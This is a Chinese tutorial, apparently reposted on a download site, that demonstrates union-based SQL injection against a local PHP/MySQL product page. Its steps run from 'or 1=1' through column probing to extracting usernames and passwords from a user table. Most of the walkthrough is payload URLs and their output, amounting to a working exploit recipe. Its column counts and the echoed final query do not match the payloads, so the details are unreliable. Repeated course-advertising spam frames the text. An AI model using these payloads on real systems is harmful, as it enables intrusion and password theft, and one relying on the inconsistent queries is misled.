一个PHP的SQL注入完整过程
|
本篇文章介绍的内容是一个PHP的SQL注入完整过程,现在分享给大家,有需要的朋友可以参考一下 希望帮助到大家,很多PHPer在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提升,对此我整理了一些资料,包括但不限于:分布式架构、高可扩展、高性能、高并发、服务器性能调优、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql优化、shell脚本、Docker、微服务、Nginx等多个知识点高级进阶干货需要的可以免费分享给大家,需要的可以加入我的官方群点击此处。 学了SQL注入的一些技能后,以下正对PHP+MYSQL进行SQL注入的简单实践 首先观察两个MYSQL数据表 用户记录表:
产品记录列表:
以下文件是show_product.php用于显示产品列表。SQL注入也是利用此文件的SQL语句漏洞
观察此语句:$sql = "SELECT * FROM php_product WHERE id =$tempID"; $tempID是从$_GET得到。我们可以构造这个变量的值,从而达到SQL注入的目的 分别构造以下链接: 1、 http://localhost/phpsql/index.php?id=1 得到以下输出
//得到ID为1的产品资料列表 ID:1 name:name_1 price:12.2 image:images/name_1.jpg 2、 http://localhost/phpsql/index.php?id=1 or 1=1 得到输出
//一共两条产品资料列表 ID:1 name:name_1 price:12.2 image:images/name_1.jpg ID:2 name:name_2 price:35.25 image:images/name_2.jpg 1和2都得到资料列表输出,证明SQL语句执行成功 3、判断数据表字段数量 http://localhost/phpsql/index.php?id=1 union select 1,1,1 得到输出
//一共两条记录,注意第二条的记录为全1,这是union select联合查询的结果。 ID:1 name:name_1 price:12.2 image:images/name_1.jpg ID:1 name:1 price:1 image:1 4、判断数据表字段类型 http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65) 得到输出
ID:1 name:name_1 price:12.2 image:images/name_1.jpg ID:0 name:A price:0 image:A 注意第二条记录,如果后面的值等于A,说明这个字段与union查询后面构造的字段类型相符。此时union后面 为char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是字符串类型 5、大功告成,得到我们想要的东西: http://localhost/phpsql/index.php?id=10000 union select 1,username,password from php_user 得到输出: SELECT * FROM php_product WHERE id =10000 union select 1,password from php_user //输出了两条用户资料,name为用户名称,image为用户密码。 ID:1 name:seven price:1 image:seven_pwd ID:1 name:swons price:1 image:swons_pwd 注意URL中的ID=10000是为了不得到产品资料,只得到后面union的查询结果。更具实际情况ID的值有所不同 union的username和password必须放在2和4的位置上。这样才能和前面的select语句匹配。这是union查询 语句的特点 备注: 这个简单的注入方法是更具特定环境的。实际中比这复杂。但是原理是相同的。 以上内容希望帮助到大家,很多PHPer在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提升,对此我整理了一些资料,包括但不限于:分布式架构、高可扩展、高性能、高并发、服务器性能调优、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql优化、shell脚本、Docker、微服务、Nginx等多个知识点高级进阶干货需要的可以免费分享给大家,需要的可以加入我的官方群点击此处。 (编辑:安卓应用网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
